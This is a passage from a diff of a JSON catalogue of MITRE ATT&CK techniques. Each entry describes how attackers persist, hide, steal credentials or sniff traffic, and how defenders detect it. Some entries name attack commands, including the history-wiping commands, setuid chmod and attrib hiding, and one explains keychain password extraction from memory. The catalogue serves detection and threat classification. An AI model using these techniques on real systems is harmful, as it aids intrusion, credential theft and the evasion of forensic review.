/etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1163", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "5910567d-e430-41f7-b465-f1419449b462" - }, - "value": "Rc.common" + "value": "Shortcut Modification" }, { "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.[[Citation: OS X Keychain]][[Citation: External to DA, the OS X Way]] Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.[[Citation: OS X Keychain]]\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.[[Citation: OS X Keychain]][[Citation: OSX Keydnap malware]]\n\nPlatforms: OS X\n\nData Sources: Process Monitoring", @@ -1157,260 +4290,12 @@ "value": "New Service" }, { - "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command.Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs", + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow", "meta": { "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Packet capture", - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1126", - "https://technet.microsoft.com/bb490717.aspx" - ], - "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a" - }, - "value": "Network Share Connection Removal" - }, - { - "description": "DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading.PowerShell with tools such as PowerSploit,[[Citation: Powersploit]] so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1055", - "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces", - "http://en.wikipedia.org/wiki/DLL%20injection", - "https://github.com/mattifestation/PowerSploit" - ], - "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" - }, - "value": "DLL Injection" - }, - { - "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name [[Citation: Sofacy Komplex Trojan]][[Citation: Antiquated Mac Malware]]. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app[[Citation: WireLurker]].\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1158", - "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "uuid": "ee44bd9f-2ab5-4f3b-93cd-20f30cbc63b9" - }, - "value": "Hidden Files and Directories" - }, - { - "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.[[Citation: MSDN Authentication Packages]]\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs", - "meta": { - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1131", - "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", - "https://technet.microsoft.com/en-us/library/dn408187.aspx", - "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" - ], - "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d" - }, - "value": "Authentication Package" - }, - { - "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels.Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1079", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf", - "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" - ], - "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e" - }, - "value": "Multilayer Encryption" - }, - { - "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1109" - ], - "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44" - }, - "value": "Component Firmware" - }, - { - "description": "Per Apple’s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron[[Citation: AppleDocs Scheduling Timed Jobs]].\n\n===Launchd===\n\nEach Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called StartCalendarInterval with a dictionary of time values [[Citation: AppleDocs Scheduling Timed Jobs]]. This only works on macOS and OS X.\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab while per-user cron jobs are installed using crontab with specifically formatted crontab files [[Citation: AppleDocs Scheduling Timed Jobs]]. This works on Mac and Linux systems.\n\nBoth methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence[[Citation: Janicab]][[Citation: Methods of Mac Malware Persistence]][[Citation: Malware Persistence on OS X]], to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, MacOS\n\nData Sources: File monitoring, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1168", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", - "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html" - ], - "uuid": "03405462-89b4-4b9a-bf60-76fbd75b82a4" - }, - "value": "Cron Job" - }, - { - "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.[[Citation: Dell WMI Persistence]] Examples of events that may be subscribed to are the wall clock time or the computer's uptime.[[Citation: Kazanciyan 2014]] Several threat groups have reportedly used this technique to maintain persistence.[[Citation: Mandiant M-Trends 2015]]\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: WMI Objects", - "meta": { - "mitre_data_sources": [ - "WMI Objects" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1084", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", - "https://www.secureworks.com/blog/wmi-persistence", - "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf" - ], - "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4" - }, - "value": "Windows Management Instrumentation Event Subscription" - }, - { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, File monitoring, Services, Windows Registry, Process command-line parameters, Anti-virus", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "File monitoring", - "Services", - "Windows Registry", - "Process command-line parameters", - "Anti-virus" + "Network device logs", + "Host network interface", + "Netflow/Enclave netflow" ], "mitre_platforms": [ "Windows Server 2003", @@ -1430,43 +4315,16 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1089" + "https://attack.mitre.org/wiki/Technique/T1040" ], - "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044" + "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529" }, - "value": "Disabling Security Tools" + "value": "Network Sniffing" }, { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1120" - ], - "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643" - }, - "value": "Peripheral Device Discovery" - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", + "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,[[Citation: Wikipedia Exe Compression]] but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Binary file metadata", "meta": { "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", "Binary file metadata" ], "mitre_platforms": [ @@ -1481,57 +4339,24 @@ "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" + "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1002", - "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" + "https://attack.mitre.org/wiki/Technique/T1045", + "http://en.wikipedia.org/wiki/Executable%20compression" ], - "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88" }, - "value": "Data Compressed" + "value": "Software Packing" }, { - "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ - "API monitoring", + "Windows Registry", "Process monitoring", "Process command-line parameters" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1087" - ], - "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08" - }, - "value": "Account Discovery" - }, - { - "description": "Pass the hash (PtH)[[Citation: Aorato PTH]] is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a [[Credential Access]] technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.[[Citation: NSA Spotting]]\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs", - "meta": { - "mitre_data_sources": [ - "Authentication logs" - ], "mitre_platforms": [ "Windows Server 2003", "Windows Server 2008", @@ -1547,86 +4372,15 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1075", - "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf", - "http://www.aorato.com/labs/pass-the-hash/" + "https://attack.mitre.org/wiki/Technique/T1012", + "https://en.wikipedia.org/wiki/Windows%20Registry" ], - "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff" + "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896" }, - "value": "Pass the Hash" + "value": "Query Registry" }, { - "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Authentication logs, File monitoring", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1146" - ], - "uuid": "b344346f-1321-4639-abd0-df3c95f1c0b0" - }, - "value": "Clear Command History" - }, - { - "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.[[Citation: WindowsIR Anti-Forensic Techniques]]\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified.[[Citation: WindowsIR Anti-Forensic Techniques]] It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1099", - "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" - ], - "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a" - }, - "value": "Timestomp" - }, - { - "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1166" - ], - 